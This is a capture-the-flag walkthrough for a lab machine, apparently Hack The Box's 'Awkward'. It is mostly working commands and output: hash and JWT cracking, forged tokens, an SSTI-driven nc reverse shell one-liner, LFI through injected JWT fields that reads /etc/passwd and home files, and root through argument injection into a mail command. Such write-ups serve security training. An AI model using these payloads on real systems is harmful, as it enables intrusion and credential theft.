TCP Scan
> TARGET=10.129.61.151 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Web Enum
> dirsearch -u http://hat-valley.htb/
[03:25:31] 301 - 171B - /js -> /js/
[03:26:28] 301 - 173B - /css -> /css/
[03:26:37] 200 - 4KB - /favicon.ico
[03:27:25] 301 - 179B - /static -> /static/
- Checking out
http://hat-valley.htb/js/app.js
found some routes
baseURL = \"/api/
/all-leave
/submit-leave
/login
/staff-details
routes = [{\n path: \"/\",\n name: \"base\",\n component: _Base_vue__WEBPACK_IMPORTED_MODULE_3__[\"default\"]\n}, {\n path: \"/hr\",\n name: \"hr\",\n component: _HR_vue__WEBPACK_IMPORTED_MODULE_4__[\"default\"]\n}, {\n path: \"/dashboard\",\n name: \"dashboard\",\n component: _Dashboard_vue__WEBPACK_IMPORTED_MODULE_5__[\"default\"],\n meta: {\n requiresAuth: true\n }\n}, {\n path: \"/leave\",\n name: \"leave\",\n component: _Leave_vue__WEBPACK_IMPORTED_MODULE_6__[\"default\"],\n meta: {\n requiresAuth: true\n }\n}]
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://hat-valley.htb/" -H "Host: FUZZ.hat-valley.htb" --hl 8
000000081: 401 7 L 12 W 188 Ch "store"
- There is a login page at
http://hat-valley.htb/hr
with cookie value default to token=guest
- Changing the value of
token
to anything will grant access to http://hat-valley.htb/dashboard
- Remove any cookie and browse to
http://hat-valley.htb/api/staff-details
will reveal some user data
[{"user_id":1,"username":"christine.wool","password":"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649","fullname":"Christine Wool","role":"Founder, CEO","phone":"0415202922"},{"user_id":2,"username":"christopher.jones","password":"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1","fullname":"Christopher Jones","role":"Salesperson","phone":"0456980001"},{"user_id":3,"username":"jackson.lightheart","password":"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436","fullname":"Jackson Lightheart","role":"Salesperson","phone":"0419444111"},{"user_id":4,"username":"bean.hill","password":"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f","fullname":"Bean Hill","role":"System Administrator","phone":"0432339177"}]
Hash cracking
- Cracking the hashes with sha2-256, one of the hashes can be cracked:
chris123
> hashcat.exe -m 1400 hash.txt rockyou.txt
# christopher.jones
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123
- Login to /hr using the above credential, the jwt token can be found in the cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2NTk4MTQwfQ.8vrdM_HW5sIqP_4jfhri7-URx3csmL7QJEi7pAGHlF0
- Crack the jwt using jwt2john:
123beany123
> wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
> python3 jwt2john.py <jwt> > jwt.john
> john --wordlist=/usr/share/wordlists/rockyou.txt jwt.john
Unintended aproach: ssti
- Continue with the /dashboard, there is a tab for creating a leave request
- The leave request
reason
field is vulnerable to ssti, try create a request with id
in the reason field and see the response
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Create a request to get a reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f
Intended approach: jwt tampering + LFI
- With the previously obtained secret from cracking the jwt, we are able to create jwts at will
> python3 -c "import jwt; print(jwt.encode({\"username\": \"bean.hill\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))"
- With some exploration, we found that by changing the username field, we are able to retrieve the leave requests for different users. And if it’s not a valid user, the server doesn’t respond. So, we have a reason to guess that the server side relies on the username field to retrieve the corresponding user’s leave requests that are stored in csv formats (can tell from a valid
/all-leave
response). - Eventually, we can achieve LFI via a special sequence, this can be utilised to read files from the target system
> /' /etc/passwd 'test
> curl http://hat-valley.htb/api/all-leave --cookie "token="$(python3 -c "import jwt; print(jwt.encode({\"username\": \"/' /etc/passwd 'test\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))")
PE: bean
- By reading the
/home/bean/.bashrc
file, we leant that there is a backup script: /home/bean/Documents/backup_home.sh
> curl http://hat-valley.htb/api/all-leave --cookie "token="$(python3 -c "import jwt; print(jwt.encode({\"username\": \"/' /home/bean/.bashrc 'test\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))")
- Checkout the script at
/home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
- There is a backup file at
/home/bean/Documents/backup/bean_backup_final.tar.gz
, we can retrieve it
> curl http://hat-valley.htb/api/all-leave --cookie "token="$(python3 -c "import jwt; print(jwt.encode({\"username\": \"/' /home/bean/Documents/backup/bean_backup_final.tar.gz 'test\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))") --output backup.tar.gz
- Due to the way we transfer, there will be an extra newline byte at the end of the file making the file unable to be unziped. So, we need to strip out the last newline byte
> perl -pi -e 'chomp if eof' backup.tar.gz
- Now, we can unzip the file and locate the password of
bean
> grep -ri bean
bean_backup/.config/xpad/content-DS1ZS1:014mrbeanrules!#P
- Now, PE as bean to get the user flag
PE: root
- Upload linpeas and observe the following
root 928 0.0 0.0 18624 3396 ? Ss 04:47 0:00 /bin/bash /root/scripts/notify.sh
root 945 0.0 0.0 2988 1148 ? S 04:47 0:00 _ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
inotifywait
monitors changes to a file and then execute other commands- For the PE part, we need to go back to the previous user
www-data
, because it’s writable to this user
> ls -ls /var/www/private/leave_requests.csv
4 -rwxrwxrwx 1 christine www-data 623 Oct 24 20:27 /var/www/private/leave_requests.csv
- This file contains leave requests and status
> cat /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
- After trying to write something to
/var/www/private/leave_requests.csv
, we see that there is a new thread created as root and it seems to take the name part out for processing
2022/10/24 20:30:01 CMD: UID=0 PID=46104 | mail -s Leave Request: bean.hill christine
- We can exploit the
--exec
parameter of the mail
command to execute a script for us
# create a PE script
bean@awkward:~$ echo -e '#!/bin/bash\nchmod +s /usr/bin/bash' > /tmp/e.sh
bean@awkward:~$ chmod 777 /tmp/e.sh
# as www-data
> echo '" --exec="\!/tmp/e.sh"' >> /var/www/private/leave_requests.csv
$ prompt bash to get root shell
> bash -p